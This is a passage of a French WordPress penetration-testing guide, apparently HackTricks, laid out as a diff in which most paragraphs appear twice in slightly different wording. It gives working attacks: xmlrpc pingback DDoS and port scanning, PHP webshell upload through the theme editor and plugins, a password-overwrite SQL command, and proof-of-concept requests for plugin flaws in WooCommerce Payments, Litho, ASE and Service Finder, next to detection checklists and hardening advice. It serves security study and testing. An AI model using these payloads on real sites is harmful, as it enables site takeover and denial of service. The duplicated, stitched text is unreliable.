Cette méthode est destinée aux programmes et non aux humains, et est ancienne, donc elle ne supporte pas la 2FA. Donc, si vous avez des creds valides mais que l'accès principal est protégé par la 2FA, **vous pourriez être capable d'abuser de xmlrpc.php pour vous connecter avec ces creds en contournant la 2FA**. Notez que vous ne pourrez pas effectuer toutes les actions disponibles via la console, mais vous pourriez quand même obtenir une RCE comme l'explique Ippsec dans [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
Si vous trouvez la méthode _**pingback.ping**_ dans la liste, vous pouvez faire envoyer par Wordpress une requête arbitraire vers n'importe quel hôte/port.\
On peut s'en servir pour demander à des **milliers** de **sites** Wordpress d'**accéder** à une même **cible** (ce qui provoque un **DDoS** vers cette destination), ou bien vous pouvez l'utiliser pour faire **Wordpress** **scanner** un **réseau** interne (vous pouvez indiquer n'importe quel port).
Si vous trouvez la méthode _**pingback.ping**_ dans la liste vous pouvez faire en sorte que Wordpress envoie une requête arbitraire à n'importe quel host/port.\
Cela peut être utilisé pour demander à **des milliers** de **sites** Wordpress d'**accéder** à un **même emplacement** (causant ainsi un **DDoS** à cet endroit) ou vous pouvez l'utiliser pour faire **Wordpress** **scan** un **réseau** interne (vous pouvez indiquer n'importe quel port).
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -193,7 +193,7 @@ On peut s'en servir pour demander à des **milliers** de **sites** Wordpress d'*
Si vous obtenez **faultCode** avec une valeur **supérieure** à **0** (17), cela signifie que le port est ouvert.
Regardez l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
Consultez l'utilisation de **`system.multicall`** dans la section précédente pour apprendre comment abuser de cette méthode afin de provoquer un DDoS.
**DDoS**
```html
@ -210,14 +210,14 @@ Regardez l'utilisation de **`system.multicall`** dans la section précédente po
### wp-cron.php DoS
Ce fichier existe généralement à la racine du site Wordpress : **`/wp-cron.php`**\
Lorsque ce fichier est **accédé**, une **heavy** MySQL **query** est exécutée, il peut donc être utilisé par des **attackers** pour **causer** un **DoS**.\
De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (chaque fois qu'un client demande une page Wordpress), ce qui sur des sites à fort trafic peut provoquer des problèmes (DoS).
Lorsque ce fichier est **accessed**, une requête MySQL **heavy** est exécutée, il peut donc être utilisé par des **attackers** pour **cause** un **DoS**.\
De plus, par défaut, le `wp-cron.php` est appelé à chaque chargement de page (anytime a client requests any Wordpress page), ce qui, sur des sites high-traffic, peut causer des problèmes (DoS).
Il est recommandé de désactiver Wp-Cron et de créer un vrai cronjob sur l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).
Il est recommandé de désactiver Wp-Cron et de créer un véritable cronjob sur l'hôte qui exécutera les actions nécessaires à des intervalles réguliers (without causing issues).
### /wp-json/oembed/1.0/proxy - SSRF
Essayez d'accéder à _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Worpress peut effectuer une requête vers vous.
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ et le site Wordpress peut effectuer une requête vers vous.
This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Cet outil vérifie si **methodName: pingback.ping** et le chemin **/wp-json/oembed/1.0/proxy** sont présents, et s'ils existent, il tente de les exploiter.
Cet outil vérifie si le **methodName: pingback.ping** et le chemin **/wp-json/oembed/1.0/proxy** existent, et si c'est le cas, il tente de les exploiter.
## Outils automatiques
```bash
@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Obtenir l'accès en modifiant un bit
Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) vous pouviez inverser 1 bit de n'importe quel fichier wordpress. Ainsi, vous pouviez inverser le bit à la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour transformer l'opération NOT (`!`) en NOP.
Plus une curiosité qu'une vraie attaque. Dans le CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) vous pouviez inverser 1 bit dans n'importe quel fichier wordpress. Ainsi vous pouviez inverser la position `5389` du fichier `/var/www/html/wp-includes/user.php` pour NOP l'opération NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panneau RCE**
## **Panel RCE**
**Modifier un fichier php du thème utilisé (identifiants admin requis)**
**Modification d'un php du thème utilisé (identifiants admin nécessaires)**
Apparence → Éditeur de thème → Modèle 404 (à droite)
Remplacez le contenu par un php shell:
Remplacez le contenu par un php shell :
![](<../../images/image (384).png>)
Cherchez sur internet comment accéder à cette page mise à jour. Dans ce cas, vous devez accéder ici: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Cherchez sur Internet comment accéder à la page mise à jour. Dans ce cas, vous devez accéder ici : [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -269,7 +269,7 @@ pour obtenir une session.
### PHP plugin
Il peut être possible d'uploader des fichiers .php en tant que plugin.\
Il peut être possible de téléverser des fichiers .php en tant que plugin.\
Créez votre backdoor php en utilisant par exemple :
![](<../../images/image (183).png>)
@ -278,7 +278,7 @@ Puis ajoutez un nouveau plugin :
![](<../../images/image (722).png>)
Upload plugin et cliquez sur Install Now :
Téléversez le plugin et appuyez sur Install Now :
![](<../../images/image (249).png>)
@ -286,7 +286,7 @@ Cliquez sur Procced :
![](<../../images/image (70).png>)
Probablement cela ne fera apparemment rien, mais si vous allez dans Media, vous verrez votre shell uploadé :
Probablement cela n'affichera rien apparemment, mais si vous allez dans Media, vous verrez votre shell téléversé :
![](<../../images/image (462).png>)
@ -296,30 +296,30 @@ Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
### Uploading and activating malicious plugin
Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le dashboard WordPress comme suit :
Cette méthode implique l'installation d'un plugin malveillant connu pour être vulnérable et pouvant être exploité pour obtenir un web shell. Ce processus est réalisé via le WordPress dashboard comme suit :
1. **Plugin Acquisition** : Le plugin est obtenu depuis une source comme Exploit DB comme [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation** :
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.
3. **Plugin Activation** : Une fois le plugin installé avec succès, il doit être activé via le dashboard.
4. **Exploitation** :
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
1. **Acquisition du plugin**: Le plugin est obtenu depuis une source comme Exploit DB, par exemple [**here**](https://www.exploit-db.com/exploits/36374).
2. **Installation du plugin**:
- Allez dans le WordPress dashboard, puis allez à `Dashboard > Plugins > Upload Plugin`.
- Téléversez le fichier zip du plugin téléchargé.
3. **Activation du plugin**: Une fois le plugin installé avec succès, il doit être activé via le dashboard.
4. **Exploitation**:
- Avec le plugin "reflex-gallery" installé et activé, il peut être exploité car il est connu pour être vulnérable.
- Le framework Metasploit fournit un exploit pour cette vulnérabilité. En chargeant le module approprié et en exécutant des commandes spécifiques, une session meterpreter peut être établie, accordant un accès non autorisé au site.
- Il est noté qu'il s'agit juste d'une des nombreuses méthodes pour exploiter un site WordPress.
Le contenu inclut des aides visuelles montrant les étapes dans le dashboard WordPress pour l'installation et l'activation du plugin. Cependant, il est important de noter que l'exploitation de vulnérabilités de cette manière est illégale et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme le pentesting avec une permission explicite.
Le contenu inclut des aides visuelles décrivant les étapes dans le WordPress dashboard pour l'installation et l'activation du plugin. Cependant, il est important de noter qu'exploiter des vulnérabilités de cette manière est illégal et contraire à l'éthique sans autorisation appropriée. Ces informations doivent être utilisées de manière responsable et uniquement dans un contexte légal, comme des tests d'intrusion avec permission explicite.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## De XSS à RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité **Cross-Site Scripting (XSS)** vers **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos, consultez [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il fournit **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ est un script conçu pour escalader une vulnérabilité de **Cross-Site Scripting (XSS)** vers **Remote Code Execution (RCE)** ou d'autres vulnérabilités critiques dans WordPress. Pour plus d'infos consultez [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Il prend en charge les versions de WordPress 6.X.X, 5.X.X et 4.X.X et permet de :
- _**Privilege Escalation:**_ Crée un utilisateur dans WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload votre plugin personnalisé (backdoor) vers WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Édite un Built-In Plugin dans WordPress.
- _**(RCE) Built-In Theme Edit:**_ Édite un Built-In Theme dans WordPress.
- _**(Custom) Custom Exploits:**_ Exploits personnalisés pour des plugins/themes tiers WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Téléversez votre plugin personnalisé (backdoor) sur WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Éditer un plugin intégré dans WordPress.
- _**(RCE) Built-In Theme Edit:**_ Éditer un thème intégré dans WordPress.
- _**(Custom) Custom Exploits:**_ Exploits personnalisés pour des plugins/thèmes WordPress tiers.
## Post Exploitation
@ -331,29 +331,29 @@ Changer le mot de passe admin :
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress Plugins Pentest
## Pentest des plugins Wordpress
### Surface d'attaque
Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités. Vous trouverez comment un plugin peut exposer des fonctionnalités dans les points suivants, ainsi que des exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Comprendre comment un plugin Wordpress peut exposer des fonctionnalités est essentiel pour trouver des vulnérabilités. Vous pouvez trouver comment un plugin pourrait exposer des fonctionnalités dans les points suivants et quelques exemples de plugins vulnérables dans [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Une des façons dont un plugin peut exposer des fonctions aux utilisateurs est via des AJAX handlers. Ceux-ci peuvent contenir des bugs de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un wordpress nonce que **tout utilisateur authentifié dans l'instance Wordpress peut posséder** (indépendamment de son rôle).
L'un des moyens pour un plugin d'exposer des fonctions aux utilisateurs est via des gestionnaires AJAX. Ceux-ci peuvent contenir des bugs de logique, d'autorisation ou d'authentification. De plus, il est assez fréquent que ces fonctions basent à la fois l'authentification et l'autorisation sur l'existence d'un nonce Wordpress que **tout utilisateur authentifié sur l'instance Wordpress pourrait posséder** (indépendamment de son rôle).
Voici les fonctions qui peuvent être utilisées pour exposer une fonction dans un plugin :
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**L'utilisation de `nopriv` rend l'endpoint accessible par tous les utilisateurs (même non authentifiés).**
**L'utilisation de `nopriv` rend l'endpoint accessible à tous les utilisateurs (même les utilisateurs non authentifiés).**
> [!CAUTION]
> De plus, si la fonction ne vérifie l'autorisation de l'utilisateur qu'avec la fonction `wp_verify_nonce`, cette fonction ne fait que vérifier que l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Ainsi, des utilisateurs à faible privilèges peuvent avoir accès à des actions à privilèges élevés.
> De plus, si la fonction vérifie seulement l'autorisation de l'utilisateur avec la fonction `wp_verify_nonce`, cette fonction vérifie uniquement que l'utilisateur est connecté, elle ne vérifie généralement pas le rôle de l'utilisateur. Donc des utilisateurs peu privilégiés pourraient avoir accès à des actions réservées aux utilisateurs à privilèges élevés.
- **REST API**
Il est également possible d'exposer des fonctions de WordPress en enregistrant une REST API avec la fonction `register_rest_route` :
Il est également possible d'exposer des fonctions de wordpress en enregistrant une REST API en utilisant la fonction `register_rest_route` :
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -369,14 +369,14 @@ Le `permission_callback` est une fonction de rappel qui vérifie si un utilisate
- **Accès direct au fichier php**
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable déclenchée simplement en accédant au fichier, elle pourra être exploitée par n'importe quel utilisateur.
Bien sûr, Wordpress utilise PHP et les fichiers à l'intérieur des plugins sont directement accessibles depuis le web. Donc, si un plugin expose une fonctionnalité vulnérable qui est déclenchée simplement en accédant au fichier, cela sera exploitable par n'importe quel utilisateur.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
### Usurpation REST via trusted-header (WooCommerce Payments ≤ 5.6.1)
Certains plugins implémentent des raccourcis de « trusted header » pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant des requêtes REST. Si l'en-tête n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et atteindre des routes REST privilégiées en tant qu'administrateur.
Certains plugins implémentent des raccourcis “trusted header” pour des intégrations internes ou des reverse proxies, puis utilisent cet en-tête pour définir le contexte utilisateur courant pour les requêtes REST. Si l'en-tête n'est pas lié cryptographiquement à la requête par un composant en amont, un attaquant peut le falsifier et atteindre des routes REST privilégiées en tant qu'administrateur.
- Impact : élévation de privilèges non authentifiée vers admin en créant un nouvel administrateur via la core users REST route.
- En-tête d'exemple : `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, typiquement le premier compte administrateur).
- Impact : élévation de privilèges non authentifiée jusqu'au rôle admin en créant un nouvel administrateur via la core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (force l'ID utilisateur 1, typiquement le premier compte administrateur).
- Route exploitée : `POST /wp-json/wp/v2/users` avec un tableau de rôle élevé.
PoC
@ -391,28 +391,28 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Pourquoi ça fonctionne
Pourquoi cela fonctionne
- Le plugin mappe un header contrôlé par le client à l'état d'authentification et saute les vérifications de capacités.
- WordPress core attend la capacité `create_users` pour cette route ; le hack du plugin la contourne en définissant directement le contexte de l'utilisateur courant depuis le header.
- Le plugin mappe un header contrôlé par le client à l'état d'authentification et saute les capability checks.
- WordPress core attend la capability `create_users` pour cette route ; le hack du plugin la bypass en définissant directement le contexte de l'utilisateur courant à partir du header.
Indicateurs de succès attendus
Expected success indicators
- HTTP 201 avec un corps JSON décrivant l'utilisateur créé.
- HTTP 201 avec un body JSON décrivant l'utilisateur créé.
- Un nouvel utilisateur admin visible dans `wp-admin/users.php`.
Checklist de détection
Detection checklist
- Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des vendor SDKs qui lisent des headers personnalisés pour définir le contexte utilisateur (par ex. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revoir les enregistrements REST pour des callbacks privilégiés qui n'ont pas de vérifications robustes de `permission_callback` et se reposent plutôt sur les headers de la requête.
- Chercher des usages des fonctions core de gestion des utilisateurs (`wp_insert_user`, `wp_create_user`) à l'intérieur des handlers REST qui ne sont filtrés que par des valeurs de header.
- Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des vendor SDKs qui lisent des headers custom pour définir le contexte utilisateur (par ex., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revoir les REST registrations pour des callbacks privilégiés qui n'ont pas de vérifications robustes de `permission_callback` et qui se fient à la place aux headers de la requête.
- Chercher les usages des fonctions core de gestion d'utilisateurs (`wp_insert_user`, `wp_create_user`) dans des handlers REST qui sont protégés uniquement par des valeurs de header.
### Suppression arbitraire de fichiers sans authentification via wp_ajax_nopriv (Litho Theme <= 3.0)
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
Les thèmes et plugins WordPress exposent fréquemment des handlers AJAX via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Lorsque la variante **_nopriv_** est utilisée **le callback devient accessible aux visiteurs non authentifiés**, donc toute action sensible doit en plus implémenter :
WordPress themes et plugins exposent fréquemment des AJAX handlers via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Quand la variante **_nopriv_** est utilisée **le callback devient accessible aux visiteurs non authentifiés**, donc toute action sensible doit en plus implémenter :
1. Une **vérification des capacités** (par ex. `current_user_can()` ou au moins `is_user_logged_in()`), et
2. Un **nonce CSRF** validé avec `check_ajax_referer()` / `wp_verify_nonce()`, et
1. Un **capability check** (par ex. `current_user_can()` ou au minimum `is_user_logged_in()`), et
2. Un **CSRF nonce** validé avec `check_ajax_referer()` / `wp_verify_nonce()`, et
3. **Assainissement / validation stricte des entrées**.
Le thème multipurpose Litho (< 3.1) a oublié ces 3 contrôles dans la fonctionnalité *Remove Font Family* et a fini par livrer le code suivant (simplifié) :
@ -437,8 +437,8 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
Problèmes introduits par cet extrait :
* **Accès non authentifié** le `wp_ajax_nopriv_` hook est enregistré.
* **Pas de nonce / capability check** n'importe quel visiteur peut atteindre l'endpoint.
* **Pas de path sanitisation** la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin filesystem sans filtrage, permettant le classique `../../` traversal.
* **Pas de vérification du nonce / capability** n'importe quel visiteur peut atteindre l'endpoint.
* **Pas de sanitisation du chemin** la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin du système de fichiers sans filtrage, permettant le classique parcours `../../`.
#### Exploitation
@ -448,23 +448,23 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. Supprimer `wp-config.php` force WordPress à lancer l'*installation wizard* lors de la visite suivante, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. La suppression de `wp-config.php` force WordPress à lancer l'*assistant d'installation* lors de la visite suivante, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
D'autres cibles impactantes incluent les fichiers plugin/theme `.php` (pour neutraliser des plugins de sécurité) ou les règles `.htaccess`.
D'autres cibles impactantes incluent les fichiers `.php` de plugins/themes (pour neutraliser des plugins de sécurité) ou les règles `.htaccess`.
#### Checklist de détection
* Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des helpers du système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenation d'entrées utilisateur non assainies dans des chemins (recherchez `$_POST`, `$_GET`, `$_REQUEST`).
* Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des fonctions d'accès au système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concaténation d'entrées utilisateur non assainies dans des chemins (rechercher `$_POST`, `$_GET`, `$_REQUEST`).
* Absence de `check_ajax_referer()` et de `current_user_can()`/`is_user_logged_in()`.
---
### Élévation de privilèges via une restauration de rôle obsolète et absence d'autorisation (ASE "View Admin as Role")
### Escalade de privilèges via restauration de rôle obsolète et absence d'autorisation (ASE "View Admin as Role")
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
Beaucoup de plugins implémentent une fonctionnalité "view as role" ou de changement temporaire de rôle en sauvegardant le(s) rôle(s) original(aux) dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration s'appuie uniquement sur des paramètres de requête (par ex. `$_REQUEST['reset-for']`) et sur une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une escalade verticale de privilèges.
Un exemple réel a été trouvé dans le Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). La branche de reset restaurait les rôles basés sur `reset-for=<username>` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'exécutait ni vérification `current_user_can()` ni vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés depuis le user meta `_asenha_view_admin_as_original_roles` :
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles basés sur `reset-for=<username>` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'effectuait ni vérification `current_user_can()` ni vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés dans les user meta `_asenha_view_admin_as_original_roles` :
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -479,11 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Pourquoi cest exploitable
Pourquoi c'est exploitable
- Fait confiance à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur.
- Si un utilisateur avait précédemment des privilèges plus élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en appelant le chemin de reset.
- Dans certains déploiements, tout utilisateur authentifié pouvait déclencher un reset pour un autre nom dutilisateur toujours présent dans `viewing_admin_as_role_are` (autorisation défaillante).
- Se fie à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur.
- Si un utilisateur avait auparavant des privilèges plus élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en accédant au chemin de reset.
- Dans certains déploiements, tout utilisateur authentifié pouvait déclencher un reset pour un autre nom d'utilisateur encore présent dans `viewing_admin_as_role_are` (autorisation défaillante).
Exploitation (exemple)
```bash
@ -493,21 +493,21 @@ Exploitation (exemple)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Sur les versions vulnérables, cela supprime les rôles actuels et restaure les rôles originaux sauvegardés (par ex., `administrator`), ce qui entraîne une élévation de privilèges.
Sur les builds vulnérables, cela supprime les rôles actuels et ré-ajoute les rôles originaux sauvegardés (par ex., `administrator`), escaladant ainsi les privilèges.
Detection checklist
- Recherchez des fonctionnalités de commutation de rôle qui conservent les rôles originaux dans le user meta (par ex., `_asenha_view_admin_as_original_roles`).
- Identifiez les chemins de réinitialisation/restauration qui :
- Lire les noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`.
- Modifier les rôles via `add_role()` / `remove_role()` sans `current_user_can()` ni `wp_verify_nonce()` / `check_admin_referer()`.
- Autoriser sur la base d'un tableau d'options du plugin (par ex., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur.
- Recherchez des fonctionnalités de changement de rôle qui conservent les “original roles” dans le user meta (par ex., `_asenha_view_admin_as_original_roles`).
- Identifier les chemins de reset/restore qui :
- Lisent des noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`.
- Modifient les rôles via `add_role()` / `remove_role()` sans `current_user_can()` et `wp_verify_nonce()` / `check_admin_referer()`.
- Autorisent sur la base d'un tableau d'options de plugin (par ex., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur.
---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
Certains plugins raccordent des helpers de changement d'utilisateur au hook public `init` et déterminent l'identité à partir d'un cookie contrôlé par le client. Si le code appelle `wp_set_auth_cookie()` sans vérifier l'authentification, les capacités et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu'ID utilisateur arbitraire.
Certains plugins raccordent des helpers de changement d'utilisateur au hook public `init` et dérivent l'identité d'un cookie contrôlé par le client. Si le code appelle `wp_set_auth_cookie()` sans vérifier l'authentification, la capability et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu'ID utilisateur arbitraire.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
```php
@ -544,7 +544,7 @@ Pourquoi c'est exploitable
- L'identité est dérivée d'un cookie modifiable par le client (`original_user_id`).
- Un appel direct à `wp_set_auth_cookie($uid)` connecte le requérant en tant que cet utilisateur sans aucune vérification de capability/nonce.
Exploitation (non authentifiée)
Exploitation (sans authentification)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -554,32 +554,32 @@ Connection: close
```
---
### Considérations WAF pour WordPress/plugin CVEs
### Considérations WAF pour les CVE de WordPress/plugin
Les WAFs génériques en edge/serveur sont réglés pour des motifs larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des problèmes de logique/auth spécifiques à l'application qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
Les WAF génériques pour edge/serveur sont configurés pour des motifs larges (SQLi, XSS, LFI). De nombreuses vulnérabilités WordPress/plugin à fort impact sont des bugs de logique/authentification spécifiques à l'application qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
Offensive notes
- Ciblez les endpoints spécifiques aux plugins avec des payloads propres : `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Ciblez les endpoints spécifiques aux plugins avec des payloads propres : `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, gestionnaires de fichiers personnalisés, shortcodes.
- Testez d'abord les chemins non authentifiés (AJAX `nopriv`, REST avec permissive `permission_callback`, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation.
- Cas typiques à fort impact : privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Ne comptez pas sur des signatures WAF génériques pour protéger les CVEs de plugin. Implémentez des virtual patches spécifiques à la vulnérabilité au niveau applicatif ou mettez à jour rapidement.
- Privilégiez les contrôles à sécurité positive dans le code (capabilities, nonces, strict input validation) plutôt que les filtres négatifs basés sur des regex.
- Ne comptez pas sur des signatures WAF génériques pour protéger les CVE de plugins. Mettez en place des correctifs virtuels spécifiques à la vulnérabilité au niveau applicatif ou mettez à jour rapidement.
- Privilégiez des contrôles en mode sécurité positive dans le code (capabilities, nonces, validation stricte des entrées) plutôt que des filtres négatifs basés sur des regex.
## WordPress Protection
## Protection de WordPress
### Regular Updates
### Mises à jour régulières
Assurez-vous que WordPress, plugins, et themes sont à jour. Vérifiez également que la mise à jour automatique est activée dans wp-config.php:
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez aussi que la mise à jour automatique est activée dans wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
De plus, n'installez que des plugins et thèmes WordPress fiables.
De plus, n'installez **que des plugins et thèmes WordPress fiables**.
### Plugins de sécurité
@ -591,14 +591,14 @@ De plus, n'installez que des plugins et thèmes WordPress fiables.
- Supprimez l'utilisateur par défaut **admin**
- Utilisez des **mots de passe forts** et **2FA**
- Passez périodiquement en revue les **permissions** des utilisateurs
- **Limit login attempts** pour prévenir les attaques Brute Force
- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès que depuis le réseau interne ou depuis certaines adresses IP.
- Périodiquement **revoyez** les **autorisations** des utilisateurs
- **Limitez les tentatives de connexion** pour prévenir les attaques Brute Force
- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP.
### SQL Injection non authentifiée due à une validation insuffisante (WP Job Portal <= 2.3.2)
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Le plugin de recrutement WP Job Portal exposait une tâche **savecategory** qui exécute finalement le code vulnérable suivant dans `modules/category/model.php::validateFormData()`:
Le plugin de recrutement WP Job Portal exposait une tâche **savecategory** qui exécute finalement le code vulnérable suivant dans `modules/category/model.php::validateFormData()` :
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -610,9 +610,9 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Problèmes introduits par cet extrait :
1. **Entrée utilisateur non assainie** `parentid` provient directement de la requête HTTP.
2. **Concaténation de chaînes dans la clause WHERE** pas d'utilisation de `is_numeric()` / `esc_sql()` / de requêtes préparées.
